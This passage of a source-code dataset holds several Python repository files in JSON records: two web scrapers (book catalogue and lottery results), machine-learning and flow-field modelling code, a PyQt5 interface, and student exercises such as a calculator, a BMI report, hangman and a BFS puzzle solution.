+{"seq_id":"25288777361","text":"import urllib.request\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport os\nimport re\nimport threading\n\n\"\"\"get html source\"\"\"\n\n\ndef get_html(from_url):\n try:\n r = requests.get(from_url)\n r.raise_for_status()\n soup = BeautifulSoup(r.content, 'html.parser')\n return soup\n except requests.exceptions.HTTPError as err:\n print(\"HTTP Error\", err)\n\n\n\"\"\"complete books_list with books of one page\"\"\"\n\n\ndef get_links(next_url):\n books_list = []\n next_soup = get_html(next_url)\n section = next_soup.findAll('div', {'class': 'image_container'})\n for books in section:\n \"\"\" get all links in each div \"\"\"\n for a in books.find_all('a'):\n link_href = a['href']\n link = link_href.replace(\"../../..\", \"http://books.toscrape.com/catalogue\")\n books_list.append(link)\n return books_list\n\n\n\"\"\"get next page of a category\"\"\"\n\n\ndef get_next(pages, next_url):\n new_page = \"page-\" + pages + \".html\"\n if \"index.html\" in next_url:\n new_url = next_url.replace(\"index.html\", new_page)\n else:\n old_page = int(pages) - 1\n text_page = str(old_page)\n new_url = next_url.replace((\"page-\" + text_page + \".html\"), new_page)\n url = new_url\n return url\n\n\n\"\"\"complete category list with each category's url\"\"\"\n\n\ndef get_category(cat_url):\n category_url = cat_url['href']\n \"\"\" correct category's url \"\"\"\n new_home_url = home_url.replace(\"/index.html\", \"\")\n full_link = (new_home_url + '/' + category_url)\n category_list.append(full_link)\n\n\nhome_url = \"http://books.toscrape.com/index.html\"\n\nsoup = get_html(home_url)\n\ncategory_list = []\ncategory_urls = soup.find('ul', {'class': 'nav nav-list'}).findAll('a')\n\nfor i in category_urls:\n get_category(i)\n\n\"\"\" delete home page from category_list \"\"\"\ncategory_list.pop(0)\n\nfirst_half_list = int((len(category_list)) / 2)\n\n\ndef final_scraping(book):\n url = book\n soup = get_html(url)\n\n products_page_url = []\n upc = []\n titles = []\n prices_including_tax = []\n prices_excluding_tax = []\n number_available = []\n products_description = []\n category = []\n reviews_rating = []\n images_url = []\n\n links1 = []\n links2 = []\n links3 = []\n\n \"\"\"pages number or None\"\"\"\n pages_check = soup.find('li', {'class': 'current'})\n\n \"\"\"get book's links of each pages\"\"\"\n if pages_check is not None:\n pages_strip = pages_check.text.strip()\n pages_number = pages_strip[len(pages_strip) - 1]\n for page in range(1, (int(pages_number) + 1)):\n \"\"\" get index.html links only \"\"\"\n if page == 1:\n links1 = get_links(url)\n else:\n \"\"\"get next url page and get their product's links\"\"\"\n links2 = get_links(get_next(str(page), url))\n else:\n links3 = get_links(url)\n\n books_list = links1 + links2 + links3\n\n \"\"\"get category name for csv file\"\"\"\n category_name = soup.find('h1').text\n\n for j in books_list:\n book_url = j\n book_soup = get_html(book_url)\n\n \"\"\"get one book\"\"\"\n\n def get_book(html_soup):\n products_page_url.append(book_url)\n tds = html_soup.findAll('td')\n upc.append(tds[0].text)\n prices_including_tax.append(tds[2].text)\n prices_excluding_tax.append(tds[3].text)\n number_available.append(tds[5].text)\n description = html_soup.find('div', {'id': 'product_description'})\n if description is None:\n products_description.append(\"\")\n else:\n products_description.append(description.find_next('p').text)\n category.append(category_name)\n reviews_rating.append(html_soup.findAll('p')[2]['class'][1])\n images_url.append((html_soup.find('img')['src']).replace('../..', 'http://books.toscrape.com'))\n titles.append(html_soup.find('h1').text)\n\n get_book(book_soup)\n\n datas = {\n 'products_page_url': products_page_url,\n 'upc': upc,\n 'titles': titles,\n 'prices_excluding_tax': prices_excluding_tax,\n 'prices_including_tax': prices_including_tax,\n 'number_available': number_available,\n 'products_description': products_description,\n 'category': category,\n 'reviews_rating': reviews_rating,\n 'images_url': images_url\n }\n\n \"\"\"pandas dataframe and proper encoding\"\"\"\n dataframe = pd.DataFrame(datas)\n dataframe.to_csv((category_name + '.csv'), index=False, sep=',', encoding='utf-8-sig')\n\n \"\"\"images file creation with os\"\"\"\n os.mkdir(category_name)\n \"\"\"titles modification\"\"\"\n for title in range(len(titles)):\n img_title = (re.sub(\"[':,;!#*?/.-]\", '', titles[title])).replace(\" \", \"_\").replace('\"', '')\n titles[title] = img_title\n \"\"\"path attribution for each images with urllib.request\"\"\"\n for img in range(len(images_url)):\n path = category_name + \"/\" + titles[img] + \".jpg\"\n urllib.request.urlretrieve(images_url[img], path)\n\n\ndef first_half():\n for i in range(first_half_list):\n final_scraping(category_list[i])\n\n\ndef second_half():\n for e in range((first_half_list + 1), len(category_list)):\n final_scraping(category_list[e])\n\n\nthread1 = threading.Thread(target=first_half)\nthread2 = threading.Thread(target=second_half)\nthread1.start()\nthread2.start()\n","repo_name":"Emilie2393/Projet_1_BooksToScrape","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73812067049","text":"import tensorflow as tf\nimport numpy as np\nimport tqdm\n\nNUM_DATA = 10_000\nNUM_FEATURES = 10\nTRAIN_RATIO = 0.8\n\n\nclass Dataset:\n def __init__(self) -> None:\n self.data = tf.random.normal((NUM_DATA, NUM_FEATURES))\n self.weight = tf.ones((NUM_FEATURES, 1))\n self.bias = tf.ones(1)\n\n def get_data(self):\n indices = tf.random.shuffle(range(NUM_DATA))\n result = tf.matmul(self.data, self.weight) + \\\n self.bias + tf.random.normal((NUM_DATA, 1))\n result = tf.cast(tf.math.sign(result) > 0, dtype=tf.float32)\n train_data, train_label = tf.gather(self.data, indices[:int(len(\n result)*TRAIN_RATIO)]), tf.gather(result, indices[:int(len(result)*TRAIN_RATIO)])\n test_data, test_label = tf.gather(self.data, indices[int(len(\n result)*TRAIN_RATIO):]), tf.gather(result, indices[int(len(result)*TRAIN_RATIO):])\n print(len(train_data), len(test_data))\n return (train_data, train_label), (test_data, test_label)\n\n# Define the linear regression model\n\n\nclass linear_model(tf.Module):\n def __init__(self):\n self.W = tf.Variable(tf.random.normal(\n shape=(NUM_FEATURES, 1), dtype=tf.float32), name='weight')\n self.b = tf.Variable(tf.zeros(1, dtype=tf.float32), name='bias')\n\n def __call__(self, x):\n return tf.math.sigmoid(tf.matmul(x, self.W) + self.b)\n\n\ndef binary_accuracy(y_true, y_pred):\n y_pred_binary = tf.cast(tf.math.round(y_pred), dtype=tf.float32)\n correct_predictions = tf.equal(y_true, y_pred_binary)\n accuracy = tf.reduce_mean(tf.cast(correct_predictions, dtype=tf.float32))\n return accuracy.numpy()*100\n\n\nclass LinearRegression:\n def __init__(self) -> None:\n self.optimizer = tf.keras.optimizers.Adam(learning_rate=0.01)\n self.batch_size = 1024\n self.num_epochs = 100\n self.model = linear_model()\n\n @tf.function\n def binary_cross_entropy(self, y_true, y_pred):\n loss = tf.keras.losses.binary_crossentropy(y_true,y_pred)\n return tf.reduce_mean(loss)\n \n @tf.function\n def train_step(self, X_batch, y_batch):\n with tf.GradientTape(persistent=True) as tape:\n pred = self.model(X_batch)\n loss_val = self.binary_cross_entropy(y_batch, pred)\n\n grads = tape.gradient(loss_val, (self.model.W, self.model.b))\n self.optimizer.apply_gradients(\n zip(grads, (self.model.W, self.model.b)))\n return loss_val\n\n def fit(self, train, test):\n X, y = train\n X_test, y_test = test\n self.num_batches = len(X)//self.batch_size\n for epoch in tqdm.tqdm(range(self.num_epochs+1)):\n for ind in range(self.num_batches):\n X_batch = X[(ind*self.batch_size):(ind+1)*self.batch_size]\n y_batch = y[(ind*self.batch_size):(ind+1)*self.batch_size]\n loss = self.train_step(X_batch, y_batch).numpy()\n\n if epoch % 10 == 0:\n X_train_batch = X[(ind*self.batch_size):(ind+1)*self.batch_size]\n y_train_batch = y[(ind*self.batch_size):(ind+1)*self.batch_size]\n pred_train_batch = self.model(X_train_batch)\n\n X_test_batch = X_test[int((ind*self.batch_size)/TRAIN_RATIO*(1-TRAIN_RATIO)):int(\n (ind+1)*self.batch_size/TRAIN_RATIO*(1-TRAIN_RATIO))]\n y_test_batch = y_test[int((ind*self.batch_size)/TRAIN_RATIO*(1-TRAIN_RATIO)):int(\n (ind+1)*self.batch_size/TRAIN_RATIO*(1-TRAIN_RATIO))]\n pred_test_batch = self.model(X_test_batch)\n print(\"loss:\", round(loss, 4), 'Train accuracy:', binary_accuracy(\n y_train_batch, pred_train_batch), 'Test accuracy:', binary_accuracy(y_test_batch, pred_test_batch))\n return self.model\n\n\nif __name__ == '__main__':\n obj = Dataset()\n train, test = obj.get_data()\n\n reg = LinearRegression()\n reg.fit(train, test)\n","repo_name":"TheUnsolvedDev/TensorflowML","sub_path":"Machine_Learning_Algorithms/LogisticRegression/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22485178764","text":"\"\"\"\n\nWrite a basic calculator that can supports addition, subtraction, fraction and multiplication. This calculator should\nsupport floats. Use proper variable and function names.\n1. Implement a looping menu that asks for any of the four operations and includes a fifth option to quit the\nprogram.\n2. Implement functions for all four operations, these functions should all accept two arguments: the first and the\nsecond number.\n3. When the user chooses an operation, ask for the required numbers and send these to the correct functions.\nPrint the result.\n\nExpand on the previous script by getting rid of the multiple number inputs. Use proper variable names.\n1. Find out about Python's string.split() function by trying the following examples:\nx = 'hello world'.split(' ')\nx[0]\ny = 'hello|world'.split('|')\ny[1]\n2. Use .split() to let the user enter both numbers at once, seperated by a space.\n\n\"\"\"\ndef Welcome():\n\toperation = input('''Would you like to add or substract? Type:\n\t\t+ for addition\n\t\t- for substraction\n\t\t* for multiplication\n\t\t/ for division\n\t\t. to exit the program\n\t\t''')\n\treturn operation\n\n\ndef add(fnum, snum):\n\treturn fnum + snum\n\ndef substract(fnum, snum):\n\treturn fnum - snum\n\ndef multiply(fnum, snum):\n\treturn fnum * snum\n\ndef divide(fnum, snum):\n\treturn fnum / snum\n\ndef Calculator():\n\n\twhile True:\n\t\toperation = Welcome()\n\n\t\t#I've added if and elif statements to decide whether an addition or substraction will be performed.\n\t\t#The else statement is ther to handle an error if the user did not input an operator symbol\n\t\t#String formatters are here to help properly format the text and provide feedback\n\t\t#When you run the program with the .format method, \n\t\t#It will show the mathematical expression that is being performed by the progaram.\n\t\tif operation == '+':\n\t\t\tfnum, snum = (input(\"What are the 2 numbers? \").split(' '))\n\t\t\tprint('{} + {} = '.format(fnum, snum),\n\t\t\t\t\tadd(float(fnum), float(snum)))\n\n\t\telif operation == '-':\n\t\t\tfnum, snum = (input(\"What are the 2 numbers? \").split(' '))\n\t\t\tprint('{} - {} = '.format(fnum, snum),\n\t\t\t\t\tsubstract(float(fnum), float(snum)))\n\n\t\telif operation == '*':\n\t\t\tfnum, snum = (input(\"What are the 2 numbers? \").split(' '))\n\t\t\tprint('{} * {} = '.format(fnum, snum),\n\t\t\t\t\tmultiply(float(fnum), float(snum)))\n\n\t\telif operation == '/':\n\t\t\tfnum, snum = (input(\"What are the 2 numbers? \").split(' '))\n\t\t\tprint('{} / {} = '.format(fnum, snum),\n\t\t\t\t\tdivide(float(fnum), float(snum)))\n\n\t\telif operation == '.':\n\t\t\tprint('Thanks for using this Calculator')\n\t\t\tbreak\n\n\t\t#Error message\n\t\telse:\n\t\t\tprint('This action is not possible!')\n\n\nCalculator()\n\n\n\n","repo_name":"DamnDaniel99/ITVitae-Learning","sub_path":"Python/Homework8+9.py","file_name":"Homework8+9.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23545127472","text":"# Program: bmi.py\n# Programmer: Kellen Land\n# Date: 10/8/2022\n# Description: Lab 5\n###########################\n\n# define & initialize 3 parallel lists for names, heights, and weights\nnames = [\"bob\", \"betty\", \"liz\", \"chris\"]\nheights = [66, 62, 50, 70]\nweights = [150, 100, 140, 110]\n\n# print program name and report header line\nprint(\"BMI Program:\\n\")\nprint(f\"NAME \\tBMI \\tCLASSIFICATION\")\nprint()\n\n# use for in loop to traverse lists\nfor value in range(len(names)):\n # calc bmi\n bmi = (weights[value] * 703) / (heights[value] * heights[value])\n # provide feedback based on bmi\n if bmi >= 25:\n classification = \"Overweight\"\n elif bmi >= 18.5:\n classification = \"Healthy\"\n elif bmi >= 16:\n classification = \"Underweight\"\n else:\n classification = \"Invalid\"\n # detail line\n print(f\"{names[value].title()} \\t{bmi:.2f} \\t{classification}\\n\")","repo_name":"ktland/SchoolNotes","sub_path":"Fall 2022/Python/Labs/unit_2/Lab_5/bmi.py","file_name":"bmi.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"73216049449","text":"import requests\nimport bs4\nfrom collections import Counter\nimport itertools\nimport ast\n\nstart_url = 'https://australia.national-lottery.com/oz-lotto/results-archive-'\n\nnumbers_betting = 9\n\nall_results = []\nfor year in range(1994,2020):\n url = start_url + str(year)\n response = requests.get(url)\n soup = bs4.BeautifulSoup(response.text)\n groups = soup.find_all('td')\n for group in groups:\n all_numbers = group.find_all('span', {'class' : 'result small oz-lotto-ball'})\n week_result = []\n for num in all_numbers:\n week_result.append(int(num.text))\n all_results.append(week_result)\n\nall_results = [x for x in all_results if len(x) != 0]\n\nall_pairs = []\nfor x in list(itertools.permutations(range(46),2)):\n i = sorted(x)\n if i not in all_pairs:\n all_pairs.append(i)\n\nall_ball_count = Counter()\nfor balls in all_results:\n for x in balls:\n all_ball_count[x] += 1\n\npair_ball_count = Counter()\nfor balls in all_results:\n for pair in all_pairs:\n if pair[0] and pair[1] in balls:\n pair_ball_count[str(pair)] += 1\n\nleast_common_pairs = pair_ball_count.most_common()[-50:]\nmost_common_pairs = pair_ball_count.most_common()[:780]\nleast_common_numbers = all_ball_count.most_common()[-14:]\n\nnumbers = [x[0] for x in least_common_numbers]\nmost_common = [ast.literal_eval(x[0]) for x in most_common_pairs]\ncommon_pairs_in_numbers = [x for x in most_common if ( (x[0] in numbers) and (x[1] in numbers) )]\ncommon_numbers_in_pairs = [x for i in common_pairs_in_numbers for x in i]\ncommon_numbers_counted = Counter(common_numbers_in_pairs)\nmost_common_paired_numbers = [x[0] for x in common_numbers_counted.most_common()]\n\nnumbers_removed = 14 - numbers_betting\n\nresult = [x for x in numbers if x not in most_common_paired_numbers[:numbers_removed]]\n\n# Old result\n# option_to_remove = set([x for i in common_pairs_in_numbers for x in i])\n# result = [x for x in numbers if x not in option_to_remove]\n","repo_name":"pwilson802/lotto","sub_path":"guessing.py","file_name":"guessing.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18601297517","text":"import random\r\nans_list = ['dog', 'cat', 'house', 'bird', 'horse', 'box', 'tree']\r\nword = ans_list[random.randint(0, len(ans_list) - 1)]\r\ndef hangman(word):\r\n wrong = 0\r\n stage = ['',\r\n '___________ ',\r\n '| ',\r\n '| | ',\r\n '| 0 ',\r\n '| /|\\ ',\r\n '| / \\ ',\r\n '| ',\r\n ]\r\n rletters = list(word)\r\n board = ['_'] * len(word)\r\n while True:\r\n print('\\n')\r\n ans = input('guess one character. :')\r\n if ans in rletters:\r\n index = rletters.index(ans)\r\n board[index] = ans\r\n rletters[index] = '_'\r\n print(''.join(board))\r\n else:\r\n print('It is not in the correct word.')\r\n wrong += 1\r\n print('\\n'.join(stage[:wrong]))\r\n if wrong == len(stage):\r\n print('You are lost!\\n The correct answer is {}!'.format(wordr))\r\n break\r\n if '_' not in board:\r\n print('You are winner!')\r\n print('The correct answer is {}!'.format(''.join(board)))\r\n break\r\nhangman(word)","repo_name":"kannkaku0406/Book","sub_path":"Self-taught programming/Chapter 10/create 'Hangman'.py","file_name":"create 'Hangman'.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9806399010","text":"import sys as sysUtils\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QStackedLayout, QDesktopWidget, QMessageBox,QVBoxLayout,QWidget,QPushButton,QHBoxLayout\nfrom PyQt5 import QtCore\nfrom qt_material import apply_stylesheet\nfrom uiqt import MyFILE_UI, MyFORMAT_UI, MyOFFICE_UI\nfrom params import BaseConstant\n\n\nclass MyWindow(QMainWindow):\n typeCount = 0\n\n # 窗口关闭按钮事件\n def closeEvent(self, event):\n \"\"\"Shuts down application on close.\"\"\"\n reply = QMessageBox.question(self, '警告', '窗口关闭后,将终止本次运行 ',\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n if reply == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n # 设置参数\n def settingMaximiz(self, num):\n if num < 1:\n available = self.desk.availableGeometry()\n center_pointer = available.center()\n BaseConstant.paramWidth = int(available.width() * BaseConstant.paramW1)\n BaseConstant.paramHeight = int(available.height() * BaseConstant.paramH1)\n rect = QtCore.QRect(int(center_pointer.x() - center_pointer.x() * BaseConstant.paramX1),\n int(center_pointer.y() - center_pointer.y() * BaseConstant.paramY1),\n BaseConstant.paramWidth,\n BaseConstant.paramHeight)\n self.aFrame.setGeometry(BaseConstant.paramX, BaseConstant.paramY-50, BaseConstant.paramWidth,\n BaseConstant.paramHeight / 10)\n self.bFrame.setGeometry(BaseConstant.paramX, BaseConstant.paramY + BaseConstant.paramHeight / 10 + 10-70,\n BaseConstant.paramWidth, BaseConstant.paramHeight - 80)\n self.stackedLayout.setGeometry(rect)\n else:\n available = self.desk.availableGeometry()\n center_pointer = available.center()\n BaseConstant.paramWidth = int(available.width() * BaseConstant.paramW2)\n BaseConstant.paramHeight = int(available.height() * BaseConstant.paramH2)\n rect = QtCore.QRect(int(center_pointer.x() - center_pointer.x() * BaseConstant.paramX2),\n int(center_pointer.y() - center_pointer.y() * BaseConstant.paramY2),\n BaseConstant.paramWidth,\n BaseConstant.paramHeight)\n self.aFrame.setGeometry(BaseConstant.paramX, BaseConstant.paramY-50, BaseConstant.paramWidth,\n BaseConstant.paramHeight / 10)\n self.bFrame.setGeometry(BaseConstant.paramX, BaseConstant.paramY + BaseConstant.paramHeight / 10 -70,\n BaseConstant.paramWidth, BaseConstant.paramHeight-90)\n self.stackedLayout.setGeometry(rect)\n pass\n\n # main 窗口事件\n def changeEvent(self, e):\n if e.type() == QtCore.QEvent.WindowStateChange:\n if self.isMinimized():\n typeCount = -1\n print(\"窗口最小化\")\n elif self.isMaximized():\n self.settingMaximiz(1)\n typeCount = 1\n print(\"窗口最大化\")\n elif self.isFullScreen():\n self.settingMaximiz(2)\n typeCount = 2\n print(\"全屏显示\")\n elif self.isActiveWindow():\n self.settingMaximiz(-1)\n typeCount = 1\n print(\"活动窗口\")\n\n def __init__(self, title, parent=None):\n super(MyWindow, self).__init__(parent)\n self.setWindowTitle(title)\n desk = QDesktopWidget()\n # 将 QDesktopWidget挂到实例对象上\n self.desk = desk\n # 设置菜单\n self.setupMean()\n # 设置ui\n self.setupUi(desk)\n # self.resize(370, 250)\n # self.setGeometry(200, 200, 500, 400)\n available = desk.availableGeometry()\n center_pointer = available.center()\n self.setGeometry(int(center_pointer.x() - center_pointer.x() * 0.7),\n int(center_pointer.y() - center_pointer.y() * 0.7),\n int(available.width() * 0.7),\n int(available.height() * 0.7))\n self.show()\n\n def setupUi(self, desk):\n available = desk.availableGeometry()\n center_pointer = available.center()\n\n BaseConstant.paramWidth = int(available.width() * BaseConstant.paramW1)\n BaseConstant.paramHeight = int(available.height() * BaseConstant.paramH1)\n BaseConstant.paramX = int(center_pointer.x() - center_pointer.x() * 1.0)\n BaseConstant.paramY = int(center_pointer.y() - center_pointer.y() * 0.9)\n\n aFrame = QWidget(self)\n bFrame = QWidget(self)\n # aFrame.setStyleSheet(\"background-color:red;\")\n # bFrame.setStyleSheet(\"background-color:blue;\")\n # aFrame.setGeometry(BaseConstant.paramX, BaseConstant.paramY - 50, BaseConstant.paramWidth, BaseConstant.paramHeight / 10)\n # bFrame.setGeometry(BaseConstant.paramX, BaseConstant.paramY + BaseConstant.paramHeight / 10 + -60, BaseConstant.paramWidth, BaseConstant.paramHeight - 80)\n aFrame.setGeometry(BaseConstant.paramX,BaseConstant.paramY-50,BaseConstant.paramWidth,BaseConstant.paramHeight/10)\n bFrame.setGeometry(BaseConstant.paramX,BaseConstant.paramY+BaseConstant.paramHeight/10+10-50,BaseConstant.paramWidth,BaseConstant.paramHeight-50)\n\n hBox = QHBoxLayout()\n\n btn1 = QPushButton(\"格式化操作\")\n btn1.setObjectName(\"0\")\n\n btn2 = QPushButton(\"文件\")\n btn2.setObjectName(\"1\")\n\n btn3 = QPushButton(\"表格处理\")\n btn3.setObjectName(\"2\")\n\n btn1.clicked.connect(lambda x: self.changeMenuEvent(btn1.objectName(),int(btn1.objectName())))\n btn2.clicked.connect(lambda x: self.changeMenuEvent(btn2.objectName(),int(btn2.objectName())))\n btn3.clicked.connect(lambda x: self.changeMenuEvent(btn3.objectName(),int(btn3.objectName())))\n\n hBox.addWidget(btn1)\n hBox.addStretch(2)\n hBox.addWidget(btn2)\n hBox.addStretch(2)\n hBox.addWidget(btn3)\n hBox.addStretch(2)\n\n aFrame.setLayout(hBox)\n\n layout = QVBoxLayout()\n\n layout.addWidget(aFrame)\n layout.addWidget(bFrame)\n\n stackedLayout = QStackedLayout()\n self.stackedLayout = stackedLayout\n self.aFrame = aFrame\n self.bFrame = bFrame\n # 创建单独的Widget\n int_a = stackedLayout.addWidget(MyFILE_UI.MyWindow(bFrame,width=BaseConstant.paramWidth,height=BaseConstant.paramHeight-50,x=BaseConstant.paramX,y=BaseConstant.paramY))\n int_b = stackedLayout.addWidget(MyFORMAT_UI.MyWindow(bFrame,width=BaseConstant.paramWidth,height=BaseConstant.paramHeight-50,x=BaseConstant.paramX,y=BaseConstant.paramY))\n int_c = stackedLayout.addWidget(MyOFFICE_UI.MyWindow(bFrame,width=BaseConstant.paramWidth,height=BaseConstant.paramHeight-50,x=BaseConstant.paramX,y=BaseConstant.paramY))\n stackedLayout.setCurrentIndex(1)\n\n rect = QtCore.QRect(BaseConstant.paramX,\n BaseConstant.paramY,\n BaseConstant.paramWidth,\n BaseConstant.paramHeight)\n stackedLayout.setGeometry(rect)\n bFrame.setLayout(stackedLayout)\n\n self.setLayout(layout)\n return [int_a, int_b, int_c]\n\n def setupMean(self):\n menubar = self.menuBar()\n\n\n\n def changeMenuEvent(self, state, currentIndex):\n if MyWindow.typeCount == 1:\n self.settingMaximiz(1)\n pass\n else:\n self.settingMaximiz(-1)\n pass\n self.stackedLayout.setCurrentIndex(currentIndex)\n print(\"changeMenuEvent\", state)\n\n\n pass\n\n\nif __name__ == '__main__':\n print(sysUtils.argv)\n app = QApplication([])\n extra = {\n\n # Button colors\n 'danger': '#dc3545',\n 'warning': '#ffc107',\n 'success': '#17a2b8',\n\n # Font\n 'font_family': '微软雅黑',\n 'font_size': '13px',\n 'line_height': '13px',\n\n # Density Scale\n 'density_scale': '0',\n\n # environ\n 'pyside6': True,\n 'linux': True,\n }\n # setup stylesheet\n '''\n 'dark_amber.xml',\n 'dark_blue.xml',\n 'dark_cyan.xml',\n 'dark_lightgreen.xml',\n 'dark_pink.xml',\n 'dark_purple.xml',\n 'dark_red.xml',\n 'dark_teal.xml',\n 'dark_yellow.xml',\n 'light_amber.xml',\n 'light_blue.xml',\n 'light_cyan.xml',\n 'light_cyan_500.xml',\n 'light_lightgreen.xml',\n 'light_pink.xml',\n 'light_purple.xml',\n 'light_red.xml',\n 'light_teal.xml',\n 'light_yellow.xml'\n '''\n apply_stylesheet(app, theme='light_blue.xml', invert_secondary=True, extra=extra)\n myW = MyWindow(\"我的应用\")\n sysUtils.exit(app.exec_())\n","repo_name":"huachengzhou/pyTool","sub_path":"setup/Bootstrap.py","file_name":"Bootstrap.py","file_ext":"py","file_size_in_byte":8935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72349359529","text":"from collections import deque\n\ndef solution(numbers, target):\n # 들어갈 숫자\n queue = deque([[0,'',0]])\n # answer = ''\n answer = 0\n\n while queue:\n c,string,idx = queue.popleft()\n\n if c == target and idx == len(numbers):\n answer += 1\n # answer += (string + \" = \" + str(target) + \"\\n\")\n # print(answer)\n \n if idx < len(numbers):\n # 마이너스를 먼저 추가해준다\n queue.append([c - numbers[idx],string+\"-\"+str(numbers[idx]), idx+1])\n queue.append([c + numbers[idx],string+\"+\"+str(numbers[idx]), idx+1])\n\n return answer\n\n# print(solution([1, 1, 1, 1, 1],3))\n# print(solution([4, 1, 2, 1],4))\n\n\n\nfrom itertools import permutations\n\ndef solution2(dataset,num):\n dataset = list(map(str,dataset))\n values = list(permutations(dataset,3))\n arr = list(map(lambda x:\"\".join(x),values))\n arr.sort()\n\n answer = -1\n for i in arr:\n if int(i) > num:\n return i\n\n return answer\n\nprint(solution2([1, 1, 5], 511))\n# print(solution2([1, 2, 3], 213))\n\n\n\n# BFS \n'''\nfrom collections import deque\nx=int(input())\nQ=deque([x])\nvisited=[0]*(x+1)\nwhile Q:\n c=Q.popleft()\n if c==1:\n break\n if c%3==0 and visited[c//3]==0:\n Q.append(c//3)\n visited[c//3]=visited[c]+1\n if c%2==0 and visited[c//2]==0:\n Q.append(c//2)\n visited[c//2]=visited[c]+1\n if visited[c-1]==0:\n Q.append(c-1)\n visited[c-1]=visited[c]+1\nprint(visited[1])\n'''","repo_name":"codingbotPark/Python-algorithm","sub_path":"programmers/DFS&BFS/타겟 넘버.py","file_name":"타겟 넘버.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21065017412","text":"import numpy as np\nfrom .base_object import BaseObject\nfrom .visualization_manager import VisualizationManager\nfrom .coordinate import Coordinate\n\nclass FlowField(BaseObject):\n \"\"\"\n Describe FF here\n \"\"\"\n\n def __init__(self,\n wind_speed,\n wind_direction,\n wind_shear,\n wind_veer,\n turbulence_intensity,\n wake,\n wake_combination,\n turbine_map):\n\n super().__init__()\n\n self.wind_speed = wind_speed\n self.wind_direction = wind_direction\n self.wind_shear = wind_shear\n self.wind_veer = wind_veer\n self.turbulence_intensity = turbulence_intensity\n self.wake = wake\n self.wake_combination = wake_combination\n self.turbine_map = turbine_map\n \n # initialize derived attributes and constants\n self.max_diameter = max(\n [turbine.rotor_diameter for turbine in self.turbine_map.turbines])\n self.hub_height = self.turbine_map.turbines[0].hub_height\n self.grid_resolution = Coordinate(100, 100, 25)\n self.xmin, self.xmax, self.ymin, self.ymax, self.zmin, self.zmax = self._set_domain_bounds()\n self.x, self.y, self.z = self._discretize_domain()\n self.initial_flowfield = self._initial_flowfield()\n self.u_field = self._initial_flowfield()\n\n self.viz_manager = VisualizationManager()\n\n def _set_domain_bounds(self):\n coords = self.turbine_map.coords\n x = [coord.x for coord in coords]\n y = [coord.y for coord in coords]\n eps = 0.1\n xmin = min(x) - 2 * self.max_diameter\n xmax = max(x) + 10 * self.max_diameter\n ymin = min(y) - 2 * self.max_diameter\n ymax = max(y) + 2 * self.max_diameter\n zmin = 0 + eps \n zmax = 2 * self.hub_height\n return xmin, xmax, ymin, ymax, zmin, zmax\n\n def _discretize_domain(self):\n x = np.linspace(self.xmin, self.xmax, self.grid_resolution.x)\n y = np.linspace(self.ymin, self.ymax, self.grid_resolution.y)\n z = np.linspace(self.zmin, self.zmax, self.grid_resolution.z)\n return np.meshgrid(x, y, z, indexing=\"ij\")\n\n def _map_coordinate_to_index(self, coord):\n \"\"\"\n \"\"\"\n xi = max(0, int(self.grid_resolution.x * (coord.x - self.xmin - 1) \\\n / (self.xmax - self.xmin)))\n yi = max(0, int(self.grid_resolution.y * (coord.y - self.ymin - 1) \\\n / (self.ymax - self.ymin)))\n zi = max(0, int(self.grid_resolution.z * (coord.z - self.zmin - 1) \\\n / (self.zmax - self.zmin)))\n return xi, yi, zi\n\n def _field_value_at_coord(self, target_coord, field):\n xi, yi, zi = self._map_coordinate_to_index(target_coord)\n return field[xi, yi, zi]\n\n def _initial_flowfield(self):\n u = np.zeros((self.grid_resolution.x, self.grid_resolution.y, self.grid_resolution.z))\n for i in range(self.z.shape[2]):\n u[:, :, i] = self.wind_speed * pow(self.z[:, :, i] / self.hub_height, self.wind_shear)\n return u\n\n def _initial_flowfield(self):\n turbines = self.turbine_map.turbines\n max_diameter = max([turbine.rotor_diameter for turbine in turbines])\n return self.wind_speed * (self.z / self.hub_height)**self.wind_shear\n\n def _compute_turbine_velocity_deficit(self, x, y, z, turbine, coord, deflection, wake, flowfield):\n velocity_function = self.wake.get_velocity_function()\n return velocity_function(x, y, z, turbine, coord, deflection, wake, flowfield)\n\n def _compute_turbine_wake_deflection(self, x, y, turbine, coord, flowfield):\n deflection_function = self.wake.get_deflection_function()\n return deflection_function(x, y, turbine, coord, flowfield)\n\n def _rotated_grid(self, angle, center_of_rotation):\n xoffset = self.x - center_of_rotation.x\n yoffset = self.y - center_of_rotation.y\n rotated_x = xoffset * \\\n np.cos(angle) - yoffset * \\\n np.sin(angle) + center_of_rotation.x\n rotated_y = xoffset * \\\n np.sin(angle) + yoffset * \\\n np.cos(angle) + center_of_rotation.y\n return rotated_x, rotated_y, self.z\n\n def _calculate_area_overlap(self, wake_velocities, freestream_velocities, turbine):\n # compute wake overlap based on the number of points that are not freestream velocity, i.e. affected by the wake\n count = np.sum(freestream_velocities - wake_velocities <= 0.05)\n return (turbine.grid_point_count - count) / turbine.grid_point_count\n\n # Public methods\n\n def calculate_wake(self):\n\n # initialize turbulence intensity at every turbine (seems sloppy)\n for coord, turbine in self.turbine_map.items():\n turbine.TI = self.turbulence_intensity\n\n # rotate the discrete grid and turbine map\n center_of_rotation = 